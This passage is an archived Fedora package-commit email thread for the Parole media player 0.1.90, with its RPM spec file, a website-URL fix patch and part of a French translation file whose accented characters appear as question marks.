 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "?????????"
+msgstr "???????"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
--
cgit v0.8.2.1


--- NEW FILE parole.spec ---
Name:           parole
Version:        0.1.90
Release:        2%{?dist}
Summary:        Media player for the Xfce desktop

Group:          Applications/Multimedia
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/applications/parole
Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
Patch0:         parole-0.1.90-fix-website-url.patch
# the following patches are just translation updates
# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
Patch1:         parole-0.1.90-update-japanese-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
Patch2:         parole-0.1.90-include-galician-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
Patch3:         parole-0.1.90-update-asturian-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
Patch4:         parole-0.1.90-include-french-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
Patch5:         parole-0.1.90-include-german-translation.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel >= 2.16.0
BuildRequires:  gstreamer-plugins-base-devel >= 0.10.11
BuildRequires:  dbus-devel >= 0.60
BuildRequires:  dbus-glib-devel >= 0.70
BuildRequires:  libxfcegui4-devel >= 4.6.0
BuildRequires:  libnotify-devel >= 0.4.1
BuildRequires:  taglib-devel >= 1.4
BuildRequires:  desktop-file-utils
BuildRequires:  gettext 
BuildRequires:  intltool
# Note from upstream: "No, don't build the doc for now (API for plugins), 
# it is out of date and will not build."
#BuildRequires:  gtk-doc
Requires:       gstreamer-plugins-good

%description
Parole is a modern simple media player based on the GStreamer framework and 
written to fit well in the Xfce desktop. Parole features playback of local 
media files, DVD/CD and live streams. Parole is extensible via plugins.

The project still in its early developments stage, but already contains the 
following features:
* Audio playback
* Video playback with optional subtitle
* Playback of live sources


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
#Requires:       gtk-doc

%description    devel
The %{name}-devel package contains header files for developing plugins for 
%{name}.


%prep
%setup -q
%patch0 -p1 -b .orig
%patch1 -p1
%patch2 -p1
%patch3 -p1
%patch4 -p1
%patch5 -p1
# fix desktop file
sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in


%build
%configure --disable-static #--enable-gtk-doc
make %{?_smp_mflags} V=1


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name "*.la" -exec rm -f {} ';'
%find_lang %{name}

desktop-file-install                                    \
  --delete-original                                     \
  --dir=%{buildroot}%{_datadir}/applications            \
  %{buildroot}/%{_datadir}/applications/%{name}.desktop


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%postun
if [ $1 -eq 0 ] ; then
  touch --no-create %{_datadir}/icons/hicolor &>/dev/null
  gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-mime-database %{_datadir}/mime &> /dev/null || :


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING README TODO THANKS
%{_bindir}/%{name}
%dir %{_libdir}/%{name}-0/
%{_libdir}/%{name}-0/*.so
%{_datadir}/applications/%{name}.desktop
%{_datadir}/icons/hicolor/scalable/apps/%{name}.svg
%{_datadir}/%{name}/


%files devel
%defattr(-,root,root,-)
#%doc %{_datadir}/gtk-doc/html/%{name}/
%{_includedir}/%{name}/


%changelog
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
- BuildRequire taglib-devel and fix libnotify requirement

* Wed Oct 07 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-1
- Update to 0.1.90
- Loads of additional translations

* Fri Sep 18 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1-0.1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:54:49 -0000	1.1
+++ .cvsignore	9 Oct 2009 08:30:47 -0000	1.2
@@ -0,0 +1 @@
+parole-0.1.90.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:54:49 -0000	1.1
+++ sources	9 Oct 2009 08:30:48 -0000	1.2
@@ -0,0 +1 @@
+acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2



From cwickert at fedoraproject.org  Fri Oct  9 08:42:17 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri,  9 Oct 2009 08:42:17 +0000 (UTC)
Subject: rpms/parole/F-12 parole-0.1.90-fix-website-url.patch, NONE,
	1.1 parole-0.1.90-include-french-translation.patch, NONE,
	1.1 parole-0.1.90-include-galician-translation.patch, NONE,
	1.1 parole-0.1.90-include-german-translation.patch, NONE,
	1.1 parole-0.1.90-update-asturian-translation.patch, NONE,
	1.1 parole-0.1.90-update-japanese-translation.patch, NONE,
	1.1 parole.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009084217.E19AA11C00C1@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14504/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	parole-0.1.90-fix-website-url.patch 
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch parole.spec 
Log Message:
Initial build for this branch

parole-0.1.90-fix-website-url.patch:
 parole/parole-about.c                  |    7 ++++---
 plugins/properties/stream-properties.c |    2 +-
 plugins/tray/tray-icon.c               |    2 +-
 plugins/window-title/window-title.c    |    3 +--
 4 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE parole-0.1.90-fix-website-url.patch ---
>From 346982b9ca86b645b19385fa7549ec43e38c2b88 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 13:25:44 +0000
Subject: Correct the project website

---
diff --git a/parole/parole-about.c b/parole/parole-about.c
index ee36f11..b989100 100644
--- a/parole/parole-about.c
+++ b/parole/parole-about.c
@@ -52,7 +52,7 @@ void  parole_about (const gchar *package)
                                 XFCE_COPYRIGHT_TEXT ("2009", "Ali Abdallah"), 
 				XFCE_LICENSE_GPL);
 
-    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole-media-player");
+    xfce_about_info_set_homepage (info, "http://goodies.xfce.org/projects/applications/parole");
     xfce_about_info_add_credit (info, "Ali Abdallah", "aliov at xfce.org", _("Author/Maintainer"));
   
 
@@ -69,11 +69,12 @@ void  parole_about (const gchar *package)
     
     dialog = xfce_about_dialog_new_with_values (NULL, info, icon);
     
-    if (icon)
-	g_object_unref (G_OBJECT (icon));
 	
     gtk_dialog_run (GTK_DIALOG (dialog));
     gtk_widget_destroy (dialog);
 
     xfce_about_info_free (info);
+    
+    if (icon)
+	g_object_unref (G_OBJECT (icon));
 }
diff --git a/plugins/properties/stream-properties.c b/plugins/properties/stream-properties.c
index 5cb6cc7..f49f331 100644
--- a/plugins/properties/stream-properties.c
+++ b/plugins/properties/stream-properties.c
@@ -490,4 +490,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Properties"),            /* Title */
 			 _("Read media properties"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org",            /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/tray/tray-icon.c b/plugins/tray/tray-icon.c
index b64c962..b56b57d 100644
--- a/plugins/tray/tray-icon.c
+++ b/plugins/tray/tray-icon.c
@@ -544,4 +544,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  	    /* Construct function
 			 _("Tray icon"),            	    /* Title */
 			 _("Show icon in the system tray"), /* Description */
 			 "Copyright \302\251 2009 Ali Abdallah aliov at xfce.org", /* Author */
-			 "http://goodies.xfce.org/projects/applications/parole-media-player"); /* Site */
+			 "http://goodies.xfce.org/projects/applications/parole"); /* Site */
diff --git a/plugins/window-title/window-title.c b/plugins/window-title/window-title.c
index 976fb5a..ff49057 100644
--- a/plugins/window-title/window-title.c
+++ b/plugins/window-title/window-title.c
@@ -103,4 +103,4 @@ PAROLE_PLUGIN_CONSTRUCT (construct,                  /* Construct function */
 			 _("Set the main window name to the current\n"
 			  " playing media name."),    /* Description */
 			  "Copyright \302\251 2009 Sarah Hijazi",            /* Author */
-			  "http://goodies.xfce.org/projects/applications/parole-media-player");            /* site */
+			  "http://goodies.xfce.org/projects/applications/parole");            /* site */
--
cgit v0.8.2.1

parole-0.1.90-include-french-translation.patch:
 fr.po |  725 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 724 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-french-translation.patch ---
>From 051f1a31c797c60ccedd1a36b6403aac9b950ed8 Mon Sep 17 00:00:00 2001
From: Steve Dodier <sidnioulz at gmail.com>
Date: Wed, 07 Oct 2009 05:23:23 +0000
Subject: l10n: Uploading a french translation.

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/fr.po b/po/fr.po
new file mode 100644
index 0000000..e917d6d
--- a/dev/null
+++ b/po/fr.po
@@ -0,0 +1,724 @@
+# French translations of parole
+# Copyright (C) 2009 the parole-media-player's copyright holder
+# This file is distributed under the same license as the parole-media-player package.
+# Steve Dodier <sidnioulz at gmail.com>
+msgid ""
+msgstr ""
+"Project-Id-Version: ast\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-04 10:38:54+02:00\n"
+"PO-Revision-Date: 2009-10-04 11:48+0100\n"
+"Last-Translator: Steve Dodier <sidnioulz at gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: France\n"
+"Language-Team: \n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (?cran large)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Ratio d'Aspect"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Auto"
+
+#: ../data/interfaces/parole.ui.h:6
+#, fuzzy
+msgid "Chapter Menu"
+msgstr "Menu des Chapitres"
+
+#: ../data/interfaces/parole.ui.h:7
+#, fuzzy
+msgid "DVD Menu"
+msgstr "Menu du DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Cacher la liste de lecture"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Lecteur M?dia"
+
+#: ../data/interfaces/parole.ui.h:10
+#, fuzzy
+msgid "Mute"
+msgstr "Mettre en sourdine"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Chapitre Suivant"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Aucun"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Lecteur M?dia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Greffons"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Chapitre Pr?c?dent"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "R?p?ter"
+
+#: ../data/interfaces/parole.ui.h:17
+#, fuzzy
+msgid "Select Track"
+msgstr "S?lectionner une Piste"
+
+#: ../data/interfaces/parole.ui.h:18
+#, fuzzy
+msgid "Shuffle"
+msgstr "M?langer"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Carr?"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Diminuer le Volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Augmenter le Volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_?diter"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "Aid_e"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_M?dia"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Affichage"
+
+#: ../data/interfaces/parole.ui.h:27
+msgid "gtk-leave-fullscreen"
+msgstr "gtk-leave-fullscreen"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Auteur :</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Description :</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+#, fuzzy
+msgid "<b>Site:</b>"
+msgstr "<b>Site :</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Pr?f?rences des Greffons de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "gtk-close"
+msgstr "gtk-close"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "gtk-properties"
+msgstr "gtk-properties"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Affichage</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Sous-titres</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Charger les sous-titres automatiquement lors de la lecture d'un film"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Luminosit? :"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste :"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Activer la visualisation lors de la lecture d'un fichier audio"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Encodage :"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Police :"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Teinte :"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Param?tres du Lecteur M?dia"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Param?tres de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+#, fuzzy
+msgid "Reset To Defaults"
+msgstr "R?initialiser "
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturation :"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Type de visualisation :"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Par Extension"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "S?lectionner des Types de Fichiers (Par Extension)"
+
+#: ../parole/main.c:52
+#, fuzzy, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Lecteur M?dia Parole %s\n"
+"\n"
+"Membre du Projet des Goodies Xfce\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Sous licence GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:156
+msgid "Open a new instance"
+msgstr "Ouvrir une nouvelle instance"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Information de version"
+
+#: ../parole/main.c:158
+msgid "Media to play"
+msgstr "M?dia ? lire"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr "Parole est d?j? en cours de fonctionnement. Utilisez -i pour ouvrir une nouvelle instance\n"
+
+#: ../parole/parole-gst.c:1289
+#, fuzzy
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon de lecture GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1305
+#, fuzzy
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Impossible de charger le greffon vid?o GStreamer, v?rifiez votre installation de GStreamer"
+
+#: ../parole/parole-gst.c:1501
+#, fuzzy
+msgid "The stream is tacking too much time to load"
+msgstr "Le flux met trop de temps ? charger"
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Arr?t"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Ajouter des fichiers m?dia"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Ajouter"
+
+#: ../parole/parole-medialist.c:432
+#, fuzzy
+msgid "Error saving playlist file"
+msgstr "Erreur lors de la sauvegarde de la liste de lecture"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permission non accord?e"
+
+#: ../parole/parole-medialist.c:441
+#, fuzzy
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr "Format de liste de lecture inconnu, Veuillez s?lectionner un format de liste de lecture pris en charge"
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Liste de lecture"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Listes de lecture M3U"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Listes de lecture PLS"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Redirecteur de Flux Avanc?"
+
+#: ../parole/parole-medialist.c:538
+msgid "Shareable Playlist"
+msgstr "Liste de Lecture Partageable"
+
+#: ../parole/parole-medialist.c:853
+msgid "Remember playlist"
+msgstr "Se souvenir de la liste de lecture"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Liste de m?dias"
+
+#: ../parole/parole-player.c:297
+msgid "Show playlist"
+msgstr "Afficher la liste de lecture"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "Le flux m?dia ne peut ?tre parcouru"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Piste Suivante"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Piste Pr?c?dente"
+
+#: ../parole/parole-statusbar.c:60
+#, fuzzy
+msgid "Buffering"
+msgstr "Mise en tampon"
+
+#: ../parole/parole-statusbar.c:77
+#, fuzzy
+msgid "Stopped"
+msgstr "Interrompu"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Fini"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Mis en pause"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Flux live :"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Vid?o"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio et vid?o"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Tous les fichiers pris en charge"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Listes de lecture"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Auteur / Mainteneur"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Traducteur (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Lire un Disque"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Langue Actuelle"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Arm?nien"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltique"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celtique"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Europe Centrale"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinois Simplifi?"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinois Traditionnel"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croate"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cyrillique"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cyrillique / Russe "
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cyrillique / Ukrainien"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "G?orgien"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grec"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujrati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukh?"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "H?breux"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "H?breux Visuel"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Islandais"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Japonais"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Cor?en"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordique"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Perse"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roumain"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "Europe du Sud"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tha?"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turc"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occident"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamien"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ouvrir un emplacement..."
+
+#: ../parole/parole-open-location.c:186
+#, fuzzy
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ouvrir l'emplacement d'un fichier m?dia ou flux live :</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Effacer l'historique"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Piste en Cours de Lecture"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Piste %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visiter le Site Web"
+
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visite Website"
+msgstr "Visiter le Site Web"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+#, fuzzy
+msgid "Unknown"
+msgstr "Inconnu"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titre :"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artiste :"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album :"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ann?e :"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "G?n?ral"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Le flux ne prend pas les changements de tags en charge"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Sauvegarder les changements de tags"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propri?t?s"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Lire les propri?t?s du m?dia"
+
+#: ../plugins/tray/tray-icon.c:222
+#, fuzzy
+msgid "<b>Playing:</b>"
+msgstr "<b>Lecture en cours :</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dur?e :</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
